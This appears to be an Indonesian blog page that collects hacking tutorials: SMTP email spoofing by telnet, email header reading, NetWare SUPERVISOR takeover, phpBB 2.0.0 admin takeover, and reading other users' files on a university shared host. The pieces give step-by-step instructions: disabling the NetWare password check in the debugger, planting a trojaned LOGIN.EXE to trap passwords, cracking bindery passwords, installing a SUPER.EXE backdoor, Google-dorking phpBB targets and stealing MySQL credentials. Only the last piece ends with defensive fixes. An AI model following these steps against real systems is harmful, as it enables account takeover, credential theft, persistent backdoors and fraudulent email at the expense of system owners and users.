Ingatlah, Mendeface sama dengan perusak (lamer). Saya banyak mengetahui orang-orang yang melakukan deface dan sekarang menyesalinya. Anda hanya akan menjadi script kiddie dan tetap seorang lamer abadi.

sekian.
posted by rizkhey wahyudi @ 10:29 AM   0 comments
Teknik Mengirim Email Palsu
Jalankan Telnet ke suatu mail server pada port 25 (biasanya ada pada suatu ISP, seperti BTInternet kemudian tambahkan mail.btinternet.com). Saat ini, server yang berbeda akan menjalankan program mail yang berbeda - jadi bagaimana anda mengetahui adanya SendMail? saat anda melakukan telnet ke mail server mungkin saja disebutkan 'Sendmail' atau berupa nomor seperti '8.8.3/8.6.9' yang merupakan petunjuk adanya service Sendmail. Saat terhubung ke suatu mail server, jika ada sendmail - ketiklah perintah berikut ini (akan berbeda pada beberapa versi):


Helo

Mail from:

Rcpt to:

Data



. (titik tunggal)

Jika tidak ada SendMail maka syntax-nya akan berbeda, namun sepanjang baris yang sama. Berikut ini contoh yang mungkin dapat anda ketikkan:


helo aol.com

mailfrom: hacker@jasakom.com

rcpt to: billclinton@whitehouse.gov

data

Lagi ngetes cara mengirim imel palsu nich

.

Apakah hal ini dapat dilacak? Hmm.. Rata-rata user internet kewalahan dan kebingungan jika mereka menerima suatu email dari alamat mereka sendiri, misalnya dengan pesan "Email dari Anda untuk Anda!.. dan mereka tidak memiliki ide cara melacaknya. Namun beberapa orang dengan keterampilan yang tepat dapat melacak darimana email tersebut berasal. Mereka dapat membaca email header. Header merupakan bit ekstra yang datang bersama email yang anda tidak dapat melihat defaultnya (meskipun ada opsi pada program email anda untuk menswitch "Show All Headers" atau "View Source of Email"). Artinya, saat mengirimkan email palsu, IP address anda ikut terlampir bersamanya (IP address lagi nih!). Kirimkan suatu email palsu ke diri anda sendiri dan lihat apakah anda dapat menemukan ip address anda dalam header tersebut?


--------------------------------------------------------------------------------

Apakah yang dimaksud dengan Email Header?

Header adalah bit ekstra yang datang bersama suatu email yang secara default tidak terlihat (meskipun pada program email anda terdapat opsi "Show All Header" atau "View Source of Email"). Berikut ini suatu contoh sebuah email (seluruh nama server yang asli yang telah dihapus dan diganti dengan yang palsu):


Return-Path:

Received: from fubar.org ([57.11.151.287]) by mta2-svc.dodgy.net

(InterMail v4.01.01.02 201-229-111-106) with SMTP

id <19990730093810.ecqx20505.mta2-svc@fubar.org>

for ; Fri, 30 Jul 1999 10:38:10 +0100

Received: med fubar.org via smail vid stdio

Date: Fri, 30 Jul 1999 04:42:37 -0500 (CDT)

From: Wang

To: Git@dodgy.net

Subject: Wang is here

Message-ID:

MIME-Version: 1.0

Content-Type: TEXT/PLAIN; charset=US-ASCII

X-Mozilla-Status: 8001


--------------------------------------------------------------------------------

Apa yang dapat dilakukan dengan email header?

Baiklah, sekarang analisa dari apa yang dihasilkan! Pertama, mengapa anda ingin mengetahui arti dari header? ada beberapa alasan yang perlu anda ketahui:


1> Memberikan anda nama komputer yang dapat anda eksplorasi dan ... hack.

2> Pernah beberapa spam mail dikirim kepada anda dengan meload iklan, bahkan ingin mengetahui yang melakukan bom email ke anda? langkah pertama untuk mengetahui bagaimana cara menandai email palsu dan menandai orang yang melakukan kejahatan ini adalah anda harus memapu membaca header.

3> Mempelajari bagaimana anda dapat memalsukan email dan menghindari pelacakan.

4> Mencari kelemahan dari komputer lawan anda dengan membaca headernya.

Berikut ini contoh dari suatu email:


Return-Path:

Received: from fubar.org ([57.11.151.287]) by mta2-svc.dodgy.net

(InterMail v4.01.01.02 201-229-111-106) with SMTP

id <19990730093810.ecqx20505.mta2-svc@fubar.org>

for ; Fri, 30 Jul 1999 10:38:10 +0100

Received: med fubar.org via smail vid stdio

Date: Fri, 30 Jul 1999 04:42:37 -0500 (CDT)

From: Wang

To: Git@dodgy.net

Subject: Wang is here

Message-Id:

MIME-Version: 1.0

Content-Type: TEXT/PLAIN; charset=US-ASCII

Lets go through that previous email one section at a time:

Return-Path:

Berikut ini adalah alamat yang akan digunakan jika anda mengclick 'reply' pada program email anda.

Received: from fubar.org ([57.11.151.287]) by mta2-svc.dodgy.net

(InterMail v4.01.01.02 201-229-111-106) with SMTP

id <19990730093810.ecqx20505.mta2-svc@fubar.org>

for ; Fri, 30 Jul 1999 10:38:10 +0100

Hal ini memberitahukan kita bahwa fubar.org (dengan IP addres 57.11.151.287) yang dilalui mail ini menuju komputer yang bernama mta2-svc.dodgy.net yang menjalankan program email InterMail dengan SMTP (Simple Mail Transfer Protocol). Maka kita dapat melihat bahwa email ini dikirim ke Git@dodgy.net dan kemudian memiliki informasi tanggal dan jam. Jadi pada dasarnya inilah bagian dari nama header computer yang terlibat dalam proses transfer mail, program terkati dan alamat target.

Received: med fubar.org via smail vid stdio

OK, jadi header ini tidak selalu tepat setiap hari, saya tidak yakin, maksud bagian ini, namun saya mengambil kesimpulan bahwa hal ini memberitahukan bahwa email tersebut telah diterima dari fubar.org, dan bagian kedua dari program tersebut yang menjalankannya. Smail bisa berupa SendMail, anda akan menguji bahwa koneksi ke server pada port 25 dan melihat apa yang terjadi.


Date: Fri, 30 Jul 1999 04:42:37 -0500 (CDT)

From: Wang

To: Git@dodgy.net

Subject: Wang ada disini

Beris berikut ini akan menjelaskan identitas penulis email.

Message-Id:

Bagian pertama dari Message-ID mengatakan 'Pine'. Pine merupakan sebuah program email untuk Sistem Operasi *nix (Pine singkatan dari Pine is not Elm). Jadi kita dapat menyimpulkan bahwa orang yang mengirim message ini menggunakan sistem operasi *nix atau meload shell account dengan Pine (ini memang benar). Bagian kedua dari ID adalah 19990730 - tanggal (30/07/99). Bagian berikutnya adalah jam, 0442 - 04:42. 13156 merupakan angka yang mengidentifikasi siapa yang menulis email tersebut.


MIME-Version: 1.0

Content-Type: TEXT/PLAIN; charset=US-ASCII

Mime (Multipurpose Internet Mail Extensions) adalan protokol untuk melihat email.

Karakter diset "US-ASCII" memberitahukan kita apakah karakter yang mengeset email ini akan digunakan. Beberapa email menggunakan ISO-ASCII sebagai gantinya, jika berada diluar wilayah USA.

OK, kita akan menganalisa header tersebut - Saat anda mendapatkan suatu email, periksalah ehader tersebut dan gunakan pedoman diatas. Header bisa saja berubah, jadi jangan harap anda melihat header asli saya. Bagaimanapun, kebanyakan akan menjadi sama, cobalah mendapatkan nama server dan kemudian melakukan telnet ke port 25 atau 110 (port SMTP dan POP)

Selamat belajar!

Sumber: http://www.security-forum.com/

Link:

Fake Mailer : http://www.soft32.com/download_12188.html

dibuat oleh:

si_cebol
si_cebol@yahoo.com
Balikpapan - Kaltim
I N D O N E S I A
posted by rizkhey wahyudi @ 10:28 AM   0 comments
HACKING NOVELL NETWARE
Oleh : CyberBug - Kecoak Elektronik

Novell Netware, sebagai salah satu Network Operating System yang banyak
dipakai di Indonesia, merupakan OS yang menarik untuk dipelajari, karena
kedekatannya dengan DOS yang umumnya sudah dikenal pemakai komputer di
Indonesia.

Sayang sekali sebagai user biasa kita tidak bisa menggunakan feature-feature
tertentu yang hanya bisa di akses oleh SUPER USER (SUPERVISOR dalam istilah
Novell Netware).

Berikut ini beberapa trik yang bisa digunakan untuk mendapatkan akses
SUPERVISOR tersebut.

Catatan:
Tutorial ini dibuat untuk keperluan belajar dan penelitian Novell Netware,
bahkan beberapa trik yang digunakan disini sering digunakan oleh penulis
(CyberBug) pada saat melakukan Maintenance System Novell Netware.
Penulis dan Kecoak Elektronik tidak bertanggung jawab atas kesalahan
penggunaan tutorial ini.

Sebagai tambahan semua tutorial ini sudah diuji penulis di Novel Netware 3.11
dan 3.12


1. BAGAIMANA CARA SAYA MENDAPAT SUPERVISOR AKSES?

Ada beberapa kemungkinan yang mungkin anda punyai:
A. Anda punya akses fisik ke Server
B. Anda tidak punya akses fisik ke Server tapi punya account/login name

A. Anda punya akses fisik ke Server
Biasanya orang yang punya akses fisik ke Server (bisa menggunakan console
server) adalah orang yang dipercaya untuk Maintenance System.
Trik berikut ini biasanya saya lakukan kalau Supervisornya tidak berada
ditempat saat kita memerlukan passwordnya atau Supervisornya lupa passwordnya
(jangan tertawa, banyak yang begini, karena akses Supervisor kadang dipakai
sampai mereka lupa sendiri).

Berikut hacknya:

Cat: Yg didalam [ ] adalah tombol keyboard yg harus ditekan.
Yg didalam { } adalah keterangan

1. Tekan [Left Shift][Right Shift][Alt][Esc] secara bersamaan {Debugger Mode}
2. Ketik: d VerifyPassword 6 [Enter] {Catat 6 byte yg keluar sebagai hasilnya}.
3. Ketik: c VerifyPassword=B8 0 0 0 0 C3 [Enter] {Matikan cek password}
4. Ketik: g [Enter] {Lakukan perubahan}

Sesudah proses ini dilakukan anda dapat login sebagai Supervisor tanpa perlu
mengisi password.

Untuk mengembalikan cek password:
1. Tekan [Left Shift][Right Shift][Alt][Esc] secara bersamaan {Debugger Mode}
2. Ketik: c VerifyPassword=xx xx xx xx xx xx [Enter] {xx=6 bytes yg dicatat}
3. Ketik: g [Enter] {Lakukan perubahan}

Atau kalau mau mudahnya (dan dimungkinkan) down servernya kemudian restart
lagi, password check akan normal kembali, karena perubahan password check
cuma di memory.


B. Anda tidak punya akses fisik ke Server tapi punya account/login name
(meskipun hanya guest account).

Cara yang paling mudah adalah menggunakan program NW-HACK.EXE, kerja
program ini sebagai berikut:

1. Jika SUPERVISOR sudah login (cek dgn USERLIST) jalankan program ini.
Password Supervisor akan diubah menjadi SUPER_HACKER (Cool name eh?)
2. Dan setiap account dalam server tersebut akan menjadi SUPERVISOR Equivalent
yang berarti semua user setara dengan SUPERVISOR.
3. Kita harus memasang BACKDOOR sesudah mendapatkan akses seperti ini (karena
kalau Supervisornya tahu, pasti dia akan mengubah status semua user yang
sudah jadi Supervisor Equivalent ke status normal).


2. BAGAIMANA MENDAPATKAN PASSWORD LAIN DI NOVELL NETWARE?

Password Trapper terbaik yang pernah saya kenal adalah dua sekawan LOGIN.EXE
(hasil patch dari Hacker Belanda bernama itsme) dan PROP.EXE
Untuk bisa menanam Password Trapper ini

1. Kita harus mendapat SUPERVISOR akses dulu,
2. Kalau supervisor akses sudah didapat, ganti file LOGIN.EXE di directory
SYS:LOGIN dengan file LOGIN.EXE hasil patch, jangan lupa mengganti
flag/attributnya menjadi SRO.
3. Sesudah file LOGIN.EXE diganti, masih sebagai Supervisor jalankan file
PROP.EXE dengan option -C [PROP -C] untuk membuat bindery property baru
(sebagai tempat password yang di trap).
4. Sesudah satu minggu atau satu bulan kemudian coba cek password panenan
kamu dengan perintah PROP -R atau boleh juga di pipe seperti
PROP -R > NAMAFILE.
5. Untuk menjalankan PROP.EXE kita tidak perlu akses Supervisor, cukup user
biasa saja, bahkan tidak perlu login sama sekali yang penting IPX dan
NETX (atau LSL, IPXODI dan VLM, whatever) sudah dijalankan (saran saya
siapkan PROP.EXE di disket kemudian jalankan dari disket).


4. BAGAIMANA MENDAPATKAN SEMUA PASSWORD DI NOVELL NETWARE?

1. Sebagai SUPERVISOR masuk ke directory SYS:SYSTEM, kemudian ketik BINDFIX.
2. Jawab semua pertanyaan dengan Yes, kalau sudah selesai,
3. Copy 3 (tiga) file berextension .OLD (cari tahu sendiri filenya) ke disket.
4. Gunakan program BINDERY.EXE sebagai berikut:
BINDERY ETC > PASSWORD
5. Kemudian crack hasil di file PASSWORD menggunakan BINCRACK.EXE plus
FILEDICTIONARY (kumpulan password) sebagai berikut :
BINCRACK PASSWORD FILEDICTIONARY > HASILPASS


5. BAGAIMANA MEMBUAT BACKDOOR?

Ada satu file bernama SUPER.EXE yang sering dipakai untuk keperluan ini,
dengan file ini kita bisa mendapatkan Supervisor Equivalent (dengan
menggunakan login user biasa) kapan saja kita inginkan.
Tapi ini harus diset lebih dahulu, dan untuk bisa setting backdoor ini, kita
harus mendapatkan akses Supervisor dulu (utility ini memang untuk Supervisor,
supaya sang Supervisor bisa mengganti status nya sebagai user biasa atau
supervisor sesuai kebutuhan).
Misalnya anda punya login dengan nama KECOAK, dan anda ingin anda bisa
mengganti status anda sebagai normal user ataupun supervisor kapan saja anda
suka.
1. Login sebagai Supervisor
2. Jalankan program SYSCON
3. Set equivalent user KECOAK sebagai SUPERVISOR
4. Tutup/Exit program SYSCON
5. Login sebagai KECOAK
6. Jalankan program SUPER.EXE sebagai berikut: SUPER +
Sekarang Toggle Supervisor Equivalent untuk KECOAK sudah ON
7. Login sebagai SUPERVISOR
8. Jalankan program SYSCON
9. Hapus equivalent SUPERVISOR user KECOAK
10. Tutup/Exit program SYSCON
11. Untuk selanjutnya untuk mengaktifkan Supervisor Equivalent, anda tinggal
login sebagai KECOAK kemudian mengetik SUPER +, untuk menonaktifkan
Supervisor Equivalent ketiklah: SUPER -
(Heheheheh ... Ksatria Kecoak Baja Hitam - Berubah!!!)


6. DARIMANA SAJA SAYA BISA MENDAPAT SEMUA UTILITY YANG DISEBUT DIATAS?

Internet Search Engine adalah sumber yang hampir tidak terbatas, ketik
NAMAFILE yang anda inginkan dan anda akan mendapatkannya.
Beberapa search engine yang baik adalah:
http://www.altavista.digital.com
http://www.excite.com
Dan yang terbaik untuk hacker:
http://astalavista.box.sk


7. PENUTUP

Tutorial ini lebih merupakan kutipan dari "The Unofficial Netware Hack FAQ",
karya Simple Nomad dari Nomad Mobile Research Centre, penulis hanya mengutip
bagian-bagian yang diketahui dan sudah diuji oleh penulis sendiri dan
diharapkan juga berguna untuk dunia sekuritas di Indonesia.
posted by rizkhey wahyudi @ 10:27 AM   0 comments
hack phpbb
" Langkah-langkahnya adalah sebagai berikut "
1. Search di google.com dengan keyword "phpbb 2.0.0". Setelah diklik search akan muncul begitu banyak target. Bisa juga dengan memasukkan keyword " phpbb 2.0.0 music, phpbb 2.0.0 jazz, phpbb 2.0.0 food". Dan sangat banyak sekali targetnya
Tapi harus di ingat walaupun banyak target tidak semuanya bisa exploitasi. Dari sekian banyak target,kita bisa mengambil target yang di belakangnya ada tulisan "phpBB", phBB2, "bb", "forum" dan "forums". Sintaknya adalah sebagai berikut : http://www.namadomain/phpBB2, atau http://www.namadomain/phpBB, atau http://www.namadomain/bb, dan http://www.namadomain/forum atau forums.

2. Setelah mendapatkan target, misalnya :http://www.terribleclaw.com/phpBB/, yang perlu kita lakukan adalah dengan menjadi member terlebih dahulu. Dengan Mengklik "register", dan isi form yang ada, Bila sudah selesai, langsung saja login, isi username dan passwordnya. Kemudian klik "memberlist", yang gunanya untuk mengetahui nomor berapa.Terserah Anda mau logout atau tidak.

3. Bila sudah mendapatkan nomornya, harus ingat-ingat dulu.hehehe...Jangan sampai Lupa ya ? Kemudian Ambil Exploitnya di http://phaty.org/phpbb.html (Maaf ini sudah di modifikasi), atau bisa juga ke situs www.rootsecure.net.

4. Kemudian Save dalam bentuk HTML (di Harddisk) maksudnya.Saya harap rekan-rekan tidak bingung sampai langkah ini, Terserah mau di save dengan nama apa, misalnya "rootphpbb2.html". Setelah itu, klik Menu | View | Resource. Dan Amati dengan Teliti, pada bagian ( " ). Yang perlu di ganti adalah "http://www.namadomain.com", dengan target yang sudah didapat. Jadi untuk lebih jelasnya adalah " , Save kemudian tutup notepad.

5. Perlu diketahui, ada 2 bagian yaitu "User Level" dan "user ID". Untuk User Level, biarkan saja terisi "Administrator". Pokoknya jangan di ganggu gugat.hehehe. dan untuk User ID, isi dengan Nomor yang ada di "Memberlist" tadi.

6. Kemudian klik "submit", dan tunggu beberapa detik, bila nasib Anda beruntung akan masuk ke Konfigurasi Admin, yang kekuasaannya sama dengan Super User. Terserah Mau Deface atau mau apa silahkan. Tapi Kalo muncul Tampilan "Please enter your username and password to login", sangat di sayangkan Nasib Anda belum beruntung.hehehehe....Mending cari target yang laen. Tutorial ini hanya berlaku untuk vurnerability phpbb 2.0.0 (Powered by phpBB 2.0.0 © 2001 phpBB Group). ILMU TIDAK AKAN PERNAH BASI MOHON MAAF BILA ADA KESALAHAN PENULISAN
posted by rizkhey wahyudi @ 10:26 AM   0 comments
Vulnereabilitas webstudent
Sebagian besar anak-anak UGM menyerahkan urusan hosting situs pribadinya kepada server webstudent milik PusKom UGM. Di sini mahasiswa UGM dapat mendaftar secara gratis untuk hosting (cukup bagus, karena kita mendapat shell, PHP, dan MySQL, yang bila kita menyewa hosting di luar pastinya harga sewanya lumayan mahal untuk kantong mahasiswa). Server ini sebenarnya lumayan bagus walaupun kalo diakses di luar intranet UGM lumayan lambat. Server ini dibangun di atas Linux, salah satu *nix OS yang saya sukai selain FreeBSD (yang ini benar-benar Unix) karena Linux amat open source. Dan memilih distro Red Hat, yang merupakan distro yang paling terkenal selain Mandrake, Debian, Knoppix, dan Slackware. Ini dapat kita cek di www.netcraft.com dengan konfigurasi WebServer, ketika saya menulis artikel ini, menggunakan Apache versi 1.3.xx dengan PHP versi 4.2.x dan MySQL versi 4.0.xx yang masih menggunakan client protokol MySQL yang lama di mana hash passwordnya masih 16 karakter (MySQL versi 4.1.xx menggunakan hash password 32 karakter). Sebelumnya masih menggunakan MySQL 3.23.xx. Hal ini bisa dilihat dari fungsi phpinfo() yang bisa dimasukkan dengan script sbb:

phpinfo()

dan simpan dengan nama test.php atau terserah Anda, yang penting ekstensinya .php dan kemudian di- upload ke server webstudent, maka akan terlihat konfigurasi PHP-nya yang didalamnya terdapat konfigurasi server dan juga konfigurasi client MySQL yang dikompilasi bersama PHP. Maka dari informasi tersebut saya menyimpulkan hal-hal sebagai berikut:

Client MySQL-nya internal (memakai yang built-in PHP) padahal dari situs www.php.net sendiri tidak menyarankan untuk menggunakan client MySQL internal PHP karena biasanya sudah usang. Apalagi PHP 5 nanti tidak akan mem-bundle client internal MySQL untuk PHPnya. Pada manualnya disebutkan bahwa pengguna *nix pada umumnya menggunakan client external yang ada dalam bundle source MySQL.

Fasilitas PHP yang ditawarkan amat dibatasi. Yang di-enable hanya kemampuan mem-parse XML. Sedangkan dukungan terhadap GD, BZip2, Zlib, exif, dan iconv tidak di- compile. Apakah ini inisiatif admin untuk mengurangi load, tidak tahu, karena saya terbiasa menggunakan tarball untuk menginstall program di *nix box saya :) dan saya selalu meng- enable semua feature yang mungkin saya butuhkan.

Apakah analisa saya ini benar atau tidak, saya juga tidak tahu, bisa saja benar semuanya, benar sebagian, atau salah sama sekali karena saya bukan Admin, dan ini hanyalah hipotesis saya sendiri. Selain itu saya juga masih dalam taraf yang amat pemula dan masih perlu banyak belajar, saya juga bukan dan jauh dari tingkatan expert untuk *nix.

Wallahu a'lam bishawab.


INTI PERMASALAHAN

Jadi dari tadi bukan inti permasalahan to, jelas bukan, namanya aja pendahuluan, sebenarnya bab di atas adalah sedikit kritik (dan saran?) untuk webstudent agar bisa lebih baik lagi. Vulnerabilities webstudent bukan untuk mendapatkan privilege sebagai root dan bukan pada Webservernya (setidaknya ketika saya menulis artikel ini), melainkan di sisi user yang hosting di sini. Dengan vulnerabilities ini kita dimungkinkan:

- Melihat password dan username MySQL orang lain.
- Melihat password/username yang di hard-code di PHP.
- Mengganti isi dari file yang vulnerable.
- Membackup seluruh situs user yang vulnerable.

Permasalahan utama di sini adalah pada console. Apa itu? Pernah pakai PuTTY dan login ke webstudent? Nah itu yang namanya console, yang kita bisa ngetik perintah-perintah. Remote console yang digunakan oleh webstudent menggunakan protokol SSH di port 22 yang menggunakan private/public key pair dengan algoritma enkripsi RSA yang sulit sekali di-sniffing, dan tentunya kita tidak menggunakan metode *sniffing* di sini. Protokol SSH yang biasanya sudah built-in di beberapa sistem *nix ini memungkinkan kita menggunakan SCP (Secure CoPy) dan SFTP (Secure File Transfer Protocol) di remote client.

Sekarang, kita siapkan client SSH kesayangan kita yaitu PuTTY, login dengan username dan password kamu sendiri (tentunya ini hanya berlaku untuk mereka yang sudah mendaftar dan hosting di webstudent). Kita sudah masuk ke sistem server webstudent. Perintah-perintah di server ini sangat dibatasi, misalnya perintah ps, gcc, dan lain-lain yang sekiranya memberikan informasi dan privileges lebih pada user terhadap server. Tetapi perintah-perintah yang sekiranya diperlukan user seperti ls, tar, gzip, bzip2, echo, cat, more, less, rm, mv, chdir, mkdir dan masih banyak lagi. Kita di sini tidak memerlukan perintah- perintah sistem dan mengkompilasi program, kita hanya menggunakan perintah yang sudah disediakan untuk kita yaitu chdir, ls, cat, less, dan editor vi.

Setelah login, kita lihat di mana homedir kita, dapat dicek dengan perintah sbb:

$Â chdir ~
$Â pwd
/home_user/home/fnwaichan

yang dicetak tebal adalah perintah yang kita inputkan (tanpa $Â) dan yang warnanya hijau adalah outputnya. Dalam contoh di atas, misalnya fnwaichan adalah username kita (tentunya di webstudent tidak ada username seperti itu, dan kenapa saya memilih nama itu? rahasia ;P). Jadi sekarang kita tahu bahwa homedir kita berada di /home_user/home/ fnwaichan dan parent dirnya / home_user/home, dari ini kita bisa membuat perkiraan apakah semua user mahasiswa yang mendaftar di webstudent ada di directory ini? Jawabannya ya! Dan ada cara mengetahui daftar user yang menggunakan fasilitas webstudent ini dengan menggunakan alamat webstudent.ugm.ac.id. Misalnya kita sudah melihat situs server webstudent ini dan memutuskan untuk menyerang directory user vheedee (ini juga tidak ada di server webstudent) maka dari homedir kita tadi kita berpindah ke directory user vheedee. Caranya, setelah dari homedir kita tadi:

$Â chdir ../vheedee
$Â pwd
/home_user/home/vheedee

Coba di ls:

$Â ls
ls. : Permission denied

Lho koq permission denied? Jelas! karena directory ini milik orang lain yang mempunyai bit permission kira- kira : drwx--x--x yang berarti orang lain hanya bisa me-chdir tetapi tidak bisa me-read atau me-ls directory tersebut. Tetapi ingatkah kita bahwa directory yang digunakan untuk hosting berada di subdir public_html/ yang berada di bawah homedir user. Untuk itu kita coba masuk ke subdir ini:

$Â chdir public_html/
$Â pwd
/home_user/home/vheedee/ public_html
$Â ls

Lho koq keluar listing filenya? Ya! Karena directory ini untuk kebanyakan user mempunyai permission drwxr-xr-x yang berarti user lain bisa meng-ls directory ini. Setelah ini kita tampilkan semua file beserta permission tiap filenya:

$Â ls -al

Lihat listing file di kolom permission, lihat tiga karakter terakhir kalau mengandung huruf r berarti kita bisa membaca file tersebut. Tetapi kalau ia penggemar Lola Amaria dan memutuskan untuk menghilangkan huruf r sesuai dengan film yang dimainkan idolanya maka kita tidak bisa berbuat apa-apa. Misalnya kita ingin membaca file index.html maka perintahnya:

$Â cat index.html | less

dan terlihat source dari file index.html ini. Cuma itu? Ah ga menarik! Cuma source code HTML doank, berantakan lagi, mana janjinya?! Katanya bisa lihat password orang?! Eit, tunggu dulu. Untuk empat kasus di atas, mari kita bahas satu-satu.


MELIHAT UNAME DAN PASSWORD MYSQL USER LAIN

Ini hanya bisa dilakukan jika user yang bersangkutan menggunakan MySQL sebagai backend databasenya dan menggunakan PHP. Misalnya ia mempunyai blog, mempunyai halaman login, mempunyai guestbook/shoutbox, menggunakan CMS seperti phpNuke atau PostNuke, menggunakan forum misalnya phpBB atau Invision Board. Untuk kasus ini, kita menggunakan feeling dan sedikit logika kita untuk menebak kira-kira file mana yang berisi uname dan password yang bersangkutan yang biasanya diletakkan dalam file konfigurasi yang nantinya akan di-include, biasanya: config.php config.inc.php main.inc.php. Misalkan si vheedee tadi menggunakan MySQL dan file konfigurasinya dinamainya dengan nama sialan.inc.php maka kita coba lihat isinya:

$Â vi sialan.inc.php

Setelah masuk editor vi ternyata kita menemukan baris sebagai berikut:

$Âmysql_host="localhost";
$Âmysql_username="vheedee";
$Âmysql_password="aishiteru";
.
.
.
.
.

Dan dengan amat mudah kita dapatkan username dan password MySQL untuk user vheedee. Maka kita masuk ke bagian pma di webstudent: joe.student.ugm.ac.id/pma masukkan username dan password yang telah kita dapatkan tadi dan kita bisa mengubah-ubah database user tersebut semau kita. Tentunya format konfigurasi untuk mysql tidak plek seperti contoh di atas, untuk itu tadi saya bilang menggunakan feeling dan sedikit logika. Tetapi itu juga tidak begitu sulit. Cukup buka filenya dan coba di-scroll ke bawah siapa tahu kita mendapatkannya.

MENGGANTI ISI FILE YANG VULNERABLE

Tadi kita sudah membahas bagaimana kita mendapatkan username dan password dari MySQL sekarang kita coba mengganti isi dari beberapa file yang mempunyai bit permission rw untuk other (user lain selain pemilik). File ini amat langka dan jarang. Biasanya, untuk file ini adalah file guestbook atau shoutbox. Beberapa user menggunakan plain- text file untuk membuat shoutbox atau guestbook. Biasanya ini ada di tutorial di internet atau di buku pemrograman PHP. Agar server Apache dapat menulis file tersebut, maka file tersebut diharuskan mempunyai permission write untuk other user. Hal ini disebabkan karena biasanya (entah kalau di webstudent) untuk Apache adalah nobody yang merupakan unprivileged user. Untuk itu kita harus memberikan permission write untuk file teks yang menyimpan isi dari guestbook tersebut. File yang biasanya dipakai berformat sebagai berikut:

z



*-*







*-*



Tetapi bisa juga format lain. Tanda *-* adalah penanda diakhirinya message/ pesan. Untuk menggantinya, ya tinggal dilihat saja dengan editor vi seperti di atas:

$Â vi pesan.txt

setelah diubah, kita bisa keluar dari vi dengan menekan [ESC]:wq![ENTER]


MENDAPATKAN UNAME ATAU PASSWORD YANG DI HARD-CODE DI PHP

Kasusnya hampir sama dengan MySQL tadi tetapi ini lebih mudah. Misalnya kita menemukan halaman login, dan ternyata kita mengetahui kalau login tersebut di-hard code lewat pernyataan pilihan di php maka kita bisa login ke dalam sistem tersebut. Contoh login yang di-hard code:

if (($Â_POST["nama_user"]=="vheedee") && ($Â_POST["password"]=="luvme")) {
.
.
}
.
.

Script di atas berasumsi bahwa nama user dimasukkan dalam input text sebuah form yang bernama nama_user dan password di masukkan dalam field password dalam form yang bernama password, sekarang kita tinggal masukkan username dan password dalam form tersebut yang sesuai dengan isi file tadi.


MEMBACKUP SELURUH SITUS USER YANG VULNERABLE

Karena directory public_html/ dapat kita read maka kita bisa saja membackup semua isi directory tadi, masukkan ke homedir kita dan download, kemudian bawa ke rumah, caranya setelah login dan masuk ke dalam directory public_html/ user korban tadi, kita bisa mengeksekusi perintah di bawah ini:

$Â tar -cvzf ~/situs_orang_lain.tar.gz public_html/*

atau

$Â tar -cvjf ~/situs_orang_lain.tar.bz2 public_html/*

perbedaannya hanya terletak pada kompresi filenya, yang pertama dengan gzip dan yang kedua dengan bzip2. Perintah di atas akan membackup semua isi public_html dan menyimpannya di homedir kita yang kemudian kita bisa download menggunakan WinSCP atau program lain. Untuk mengekstraknya, pengguna M$Â Windows memerlukan WinRAR dan pengguna *nix menggunakan perintah di bawah ini, (misalnya kita ingin mengekstraknya di subdir output/ di homedir kita dan file yang kita download tadi sudah kita copy ke homedir kita):

$Â tar -xvzf ~/situs_orang_lain.tar.gz ~/ output/

atau

$Â tar -xvjf ~/situs_orang_lain.tar.bz2 ~/ output/

dan kita sudah mempunyai copyan seluruh file situs korban :)


KESIMPULAN

Dari uraian yang saya kemukakan di atas maka dapat disimpulkan permasalahan sebagai berikut:

Disatukannya user dalam /home_user/ home dan adanya listing user di situs webstudent.
Permission di public_html/ yang drwxr- xr-x memungkinkan user lain untuk melihat isi file di directory tersebut. Jika Anda berpikir, mengapa tidak langsung saja memblok akses read untuk public_html/ secara rekursif dengan perintah

$Â chmod -R o-r public_html/

Sebenarnya hal ini bisa dilakukan, tetapi akan membuat masalah baru yaitu Apache tidak akan bisa membaca file Anda dan berarti situs tidak bisa ditampilkan, dan percuma Anda telah bersusah payah membuat situs tetapi tidak bisa ditampilkan.

Banyak user yang menggunakan MySQL dan file konfigurasi yang berisi password dalam plain-text disimpan mau tidak mau harus mempunyai permission read di dalamnya.
Banyak user yang masih menggunakan file teks untuk menyimpan data seperti shoutbox atau guestbook dan sekali lagi mau tidak mau harus mempunyai permission read dan write di dalamnya.

CARA MENGATASI


-- FOR USER --

Untuk USER, sebelum masalah ini di- fix oleh Admin, maka untuk sementara user bisa memperkecil lubang ini dan mempersulit user lain mengakses file Anda dengan cara:

Hilangkan permission read untuk directory, karena Apache hanya memerlukan permission execute untuk men-chdir directory. INGAT! LAKUKAN INI HANYA UNTUK DIRECTORY JANGAN PADA FILE jika tidak ingin menemui masalah baru dengan tidak terbacanya file situs Anda. Caranya dengan memasukkan perintah di bawah ini untuk public_html/ dan seluruh subdir di bawah public_html/, paling tidak ini mencegah user lain meng-ls directory Anda:

$Â chmod o-r public_html/

$Â chmod o-r public_html/ nama_subdir

Untuk yang menggunakan phpBB, kita tidak bisa menghilangkan permission read di subdir admin karena jika kita coba lakukan maka modul administrasi tidak akan berjalan sebagaimana mestinya.
Hilangkan kebiasaan menyimpan data dengan plaintext. Beralihlah menggunakan database.
Enkripsi uname dan password Anda dengan algoritma enkripsi yang Anda kenal. Jika Anda bukan programmer, setidaknya sembunyikan nama variabelnya agar tidak terlalu vulgar.

Tetapi cara-cara di atas tidak akan berpengaruh jika ada orang jahat yang sudah mengetahui struktur file dalam situs Anda.


-- FOR ADMIN--

Sebenarnya ada beberapa cara untuk mengatasi hal ini jika Anda adalah root. Akan tetapi, cara yang menurut saya efektif adalah men-chroot user yang login dengan SSH seperti di OpenBSD :) daripada mendisable perintah-perintah yang saya gunakan tadi. Dengan men-chroot, berarti Anda memberikan satu lapis keamanan lagi di server Anda. Caranya:

Download tarball source OpenSSH dan juga OpenSSL yang bersesuaian.
Jika saat me-make OpenSSL keluar masalah dengan Perl maka berarti Anda perlu mengupdate Perl Anda.
Download patch OpenSSH-chroot dari sourceforge.net .
Patch source OpenSSH yang asli dengan OpenSSH-chroot dan konfigurasi sesuai dengan manual OpenSSH maupun OpenSSH-chroot, tentunya sebagai Admin saya percaya, Anda sudah sangat mengerti pentingnya RTFM (Read The Fuckin' Manual, saya tidak bermaksud tidak sopan, tetapi itulah istilah yang beredar, karena membaca manual memang sedikit menyebalkan).
Setelah sourcenya di-patch, putuskan dulu protokol SSH-nya atau alihkan ke server backup.
Kompilasi dengan make sesuai dalam manual.
Edit user skeleton, sehingga sesuai dengan lingkungan chroot-jail yang kita siapkan dengan cara meng-copy beberapa file binary yang perlu sesuai dengan manual openssh-chroot. Untuk automatisasi ketika dibuat user baru.
